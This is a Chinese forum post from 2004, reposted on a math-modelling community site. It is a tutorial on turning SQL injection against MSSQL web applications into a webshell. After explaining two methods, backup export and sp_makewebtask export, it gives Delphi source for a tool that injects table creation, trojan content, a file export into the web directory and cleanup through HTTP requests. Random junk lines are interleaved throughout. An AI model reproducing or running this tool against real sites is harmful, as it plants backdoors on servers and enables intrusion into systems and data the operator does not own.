数学建模社区-数学中国
标题:
SQL注入得到WEBSHELL
[打印本页]
作者:
韩冰
时间:
2004-11-21 00:13
标题:
SQL注入得到WEBSHELL
<
>一.通过SQL注入得到WEBSHELL的原理:
. C0 J! S [9 r8 {
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。
( e; t. h, u4 X, u2 S% t U
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有<%%>之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释<%%> 之内的语句呢?如果数据库中有的表中有<%%>标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。
- l* @3 R7 z* h6 m H( M. I" h
再来看看CZY的方法吧。
" ]- x" X% B0 u& \8 M- l8 G
CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。
( F* @6 L; @( U0 D& H
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。
3 Q% U7 U: o) I2 C
二.利用DELPHI去实现功能的前言
- ]) S; P# F, _7 ?/ r3 z' Y
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
1 X$ q$ W6 }7 t' a+ x
G) H* i& R/ y- h
三.如何利用DELPHI得到WEBSHELL。
) \+ L- `0 N- a8 w+ l5 R! O+ m
程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。
. o6 K; B( F g7 f, W
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
# b) P! G! j: W) M i) J
6 J3 {7 Q# V* V9 e% v* S
6 Y0 F* h7 P# m7 P9 _& ^0 A
2 J& X! f' v: N c* b, Q" _
现在来写程序了。
/ d. A* D4 k. Q
我们首先定义一个RECORD。
9 t1 |, [0 N9 J- k9 @
如下:
& k% V8 i2 _: }8 s/ h0 U
Type
* C* b' d9 C3 m
SetOption = Record
0 m" W' n6 C% E) e
TableName : String; //用来保存要创建的表名.
+ M! Z9 h7 y6 R* n% y& e8 |
FieldName : String; //用来保存要创建的字段名.
7 A( }6 c2 _. `
FiledType : String; //用来保存创建的字段名类型.
3 F) }* |1 O/ {, z/ y6 h
End;
- X* N" f2 Q* L
FiledType字段类型的值是以下类型的一种:
4 |& _& P& {6 I* B" {
Bigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
0 ]0 e/ ~4 D6 ]
Smallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
1 e, P I( X& r2 |; q( [. A3 h' V/ k% U
再定义一个全局变量:
3 K3 I- M5 [; u) K, Q
Var
+ z6 s I+ ~% N6 d- x
ISStop : Boolean; //用来判断用户是否按下了停止按纽.
9 j0 N i* D! t1 q1 e( @7 m
好了。在表单创建的过程中,我们为RECORD记录输入默认值.
3 P; U ~0 E0 K- R: ~: `: i
代码如下:
- ]" f- I+ C# _+ o) X- m6 b' Y) S
procedure TMainForm.FormCreate(Sender: TObject);
2 ~8 }# ], P$ p' H+ {
begin
% d. x6 g, K% a: L
sOption.TableName :='cyfd'
' m f( j, \! V! i5 H9 i
sOption.FieldName :='gmemo'
- [+ M/ O* _/ a3 Y7 l% B
sOption.FiledType :='text'
+ c4 ~' }( y" X- \. \; ]
end;
3 P; v* |5 J! z$ t
现在我们添加开始执行命令的代码。
4 `# q3 G- E2 p3 _8 h, e
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
# ^0 d( t7 [5 G4 j6 |" P
创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
) J* N; a( @. O$ t3 V2 k% N
在程序开始执行前,我们得先检查一下用户的输入
7 L) k2 A3 R/ e3 j7 E/ z# P4 P
定义一个Checkinput函数.
! q+ @3 A3 w6 O7 X9 o9 j, H+ n
如下:
9 w. u B* Q' Q5 W3 v) x" M
Function CheckInput : Boolean;
- F+ d$ y- B( \( n3 Z) ]$ x
Begin
7 r: `, v) n8 u3 Z5 `; r4 |9 ?" W6 G3 Z
Result := False;
( f2 k B) ]- f* B" S
if Trim(urlet.Text) = '' then
A1 G; a0 i3 a8 C
Begin
* I# J$ W: |" u$ I
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation);
. \1 t0 t2 s+ f* a' a' b, u
Exit;
$ w) Z1 C) f) X9 H& o, ]2 B2 n
End;
# W9 D" G- H5 \# L# s5 S" t
if Trim(ShellPathET.Text) = '' then
- m. E* F" w, R$ b5 h
Begin
: I, z* N+ m. n. ^7 D0 `
Application.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
! A% t' C7 q* ?# O* ] @
Exit;
6 P# r9 [. J) ^( T# M% c, ?$ M
End;
G9 k6 X B* t* e
IF DefBDoor.Checked then
6 n8 w' s v0 ~7 L' v- r
Begin
3 _+ J: d" U, N$ ^& V! B
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then
. c& L8 f/ o- f6 M% p4 J
Begin
# n7 P. |) s( I* {3 J8 `
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
* v% {5 m9 Y4 L8 k7 B& c
Exit;
?% W6 q" @" F( b6 P( Q+ `8 X
End;
- T. f; v+ \ j1 }- o: U$ x9 Q
End
: _9 J5 H- w3 s+ V: O3 p
Else
3 Q Y) \3 j3 j% t; |: P6 |1 D
if Not FileExists(CustomBdoorET.Text) then
" q4 ~7 a( ]4 B$ [; b4 U
Begin
4 N- M: ^, f' L* d7 I) e8 U
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
! H& ~7 ]* W) j* [ `! V6 [
Exit;
6 g/ z/ p! v0 k7 H3 @( {3 C7 n8 L
End;
# b7 G, x4 i" R& h
Result := True;
& h8 C' M2 H1 K( i6 t9 |
End;
+ C# j7 p* Z% r
在最开始加入:
6 t6 Z8 z ^" h2 A }: Q2 M$ `1 p
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
2 T: S8 _- W$ W; y0 e' Y
好了,如果用户输入没什么错,我们就来下面的代码。
9 t2 e0 i+ ?' B" U/ w" p
首先我们把IsStop设为假。创建BdoorList。
/ _$ f& ^& r: [8 _
BDoorList := TstringList.Create;
9 ?" }* f$ c: |$ I
再加木马内容到BDoorlist.
+ Q3 d# ?, z6 y* u" p5 C3 y! j) I
BDoorList.LoadFromFile(CustomBdoorET.text);
0 ~. R4 b+ \3 {5 g2 F1 ]6 @& b7 u$ \
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
+ _2 i, N9 y% H( ]6 E
代码如下:
1 [' ?7 B( T& h8 `2 X e
BDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]);
, ^3 z3 E$ j8 l# ~! k# y4 {
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
; M1 a; J' u$ s; C3 n( V
接下来.我们就提交建表的功能了.
0 `% e: @0 `$ V8 m% k- z6 O I) y
Memo.Lines.Add('建表...');
+ B% s& g7 y4 l1 ]# x2 g) k r
Memo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
) I3 Q3 \ ]4 n
这样我们就创建了一个表。然后.我们向表中加记录:
( R, ^( Q5 N0 ~- j
代码如下:
/ \5 [3 N) e$ V5 G8 i \' K5 t
Memo.Lines.Add('加数据...');
: ^) X8 N7 s6 y; \. z1 ]: ?% V$ c
Memo.Lines.Add('');
3 v9 R9 g; T9 f2 M9 U
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
' L2 q0 S5 c$ L) R4 h% E3 J
Begin
- p0 _0 l3 R# w$ {2 U
IF IsStop then //这里如果点了停止按纽程序将终止任务.
8 j; Q! E3 F' j
Begin
! q% X7 P1 G4 v8 L6 U. h% U
BDoorList.Free;
3 n& c) i2 ^, `: I! }% b
Exit;
- D( W+ W" Y* H5 R: k) A
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');');
6 K N8 c- h5 W5 g
Memo.Lines.Add('Add Line '+Inttostr(i+1));
* G1 w5 c3 I- {5 `9 n8 o, c
End;
8 L3 R3 ~' e* r7 V( U$ {
现在就是导出数据生成木马了.
5 Z* H. ^( R2 f o. K
Memo.Lines.Add('导出数据...');
8 @; L/ t, R. ~
Memo.Lines.Add('');
2 c; O( Y, e% Q, a" `8 y
IF BKData.Checked then //如果选中采用备份数据就执行下面的命令.
5 {; Z! o$ Z0 [& F; N( ~! ` ^
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''')
U4 X( q: g( `- g7 {5 J4 \
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
$ I$ Q2 v5 c, a/ R3 m( F
我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];');
- Z' `: x# y$ ~5 q2 a
这样我们的任务就完成了。下面来释放变量.
) d! ~) d+ U. r, s& X$ v
BDoorList.Free;
- w( ]2 w+ @2 f4 e" p! o
再来向停止按纽中添加点击事件:
^2 T5 k3 t& N7 R. D' T: x- S
一行代码就行了:IsStop := True;
4 J# h7 J/ P9 s2 f& u! c7 ]
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
& N& o- L5 m2 S' B z5 H
设置表单中先引用主表单.然后在界面中添加二个EDIT控件:
& o: O G: f* R+ n& D) W
第一个名称为:TableNameET //保用户输入的存临时表
# F0 l7 N) L3 |3 z: b
第二个名称为:FieldNameET //用来保存用户输入的字段名.
5 y* a; Q% k% w' p, a* V, z; \
再添加一个Combobox //用来保存用户所选的字段类型值.
7 h b/ k% |; H4 B2 i
名称:FieldTypeCombox
$ N; p2 x! S0 x F$ a
OK.界面如下:
9 P8 P' Q& E! C7 C) J
2 [0 P) {9 W, ^8 \; o
代码如下:
4 u& K- E, G& `, V/ s
定义一个过程,主表单好调用这个设置。
# }4 l, F% x6 a7 D6 c( z
Procedure ShowSet;
2 F9 ^' n& w5 O }( u
Begin
. ?0 i$ h# }: m% m- S7 Z3 [; \
Application.CreateForm(TSetForm,SetForm);
* {) j, k) K( n( L
With SetForm do
9 D$ q. [0 c1 g& o! v; ^, ^0 P
Begin
! z4 I7 \ [4 O+ s
TableNameET.Text := sOption.TableName;
+ L: n) |9 d. Z6 {' V
FieldNameET.Text := sOption.FieldName;
5 A$ Z2 p; h5 l! w3 v' F& d: A8 h
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType);
$ c4 _+ t) f6 t( o$ K
End;
2 ~% Z6 z' r) A- ]' d3 o% \9 q: G
SetForm.ShowModal;
5 f# u+ a" s/ N& ?
SetForm.Free;
: t2 |+ O9 p# O! F' h6 W- s
End;
4 R; Q8 U9 a. g- R* m
在主表单中设置的点击事件中添加上showset过程就行了。
0 D. E6 m7 y+ ]7 f& Q0 P( k
下面就是点击确定的代码了。
" r2 l! n6 w, ^- L: m8 B
IF CheckInput then
: b" X) w% X9 F1 V V, K
Begin
~/ X) k `' w! ~
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
3 ?7 J+ X2 d' k; t# j+ \
sOption.FieldName := Trim(FieldNameET.Text);
3 g+ S; b y: s! v& V* t4 p, R, e$ ]
sOption.FiledType := FieldTypeCombox.Text;
' A/ D7 l0 c6 t$ D& c6 R: Z) j* ^
Close;
" X+ y: Q& d% h8 e, t
End;
& `, O S- ` t3 }' Q, H( ]
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。
: M. Q# B y. A6 c2 J. i- ^; p
代码如下:
& ]! R3 I; {9 m5 ?: b% Z! N. W% R
Function CheckInput : Boolean;
/ D5 r, ~, j, n9 ^0 | S) J
Begin
# [8 b8 u2 M6 a
Result := False;
8 [7 U1 _- B0 w# P8 z
IF Trim(TableNameET.Text)='' then
. [4 A0 V, w. F2 K
Begin
& |* n) j$ i8 b9 e0 m9 J1 W! ~
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation);
' x8 u) Q7 c1 ^- a6 E8 |
Exit;
" ], B; ~6 T; v5 K
End;
( G5 S$ J' l8 C1 e6 m8 E- W1 y+ A
IF Trim(FieldNameET.Text)='' then
/ k0 N# t( C9 U0 [. i
Begin
1 H) u1 ]7 s O- _/ b
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation);
( ?" J/ j) D. `4 X
Exit;
4 p1 C T$ \# _7 F. j; X6 C
End;
6 o& j( |6 ? i2 P3 a7 |+ K: v
Result := True;
% ]& }+ E% F) f/ R9 |
End;
4 z9 B9 w2 c& e6 B" P
到这里程序就完了。</P>
欢迎光临 数学建模社区-数学中国 (http://www.madio.net/)
Powered by Discuz! X2.5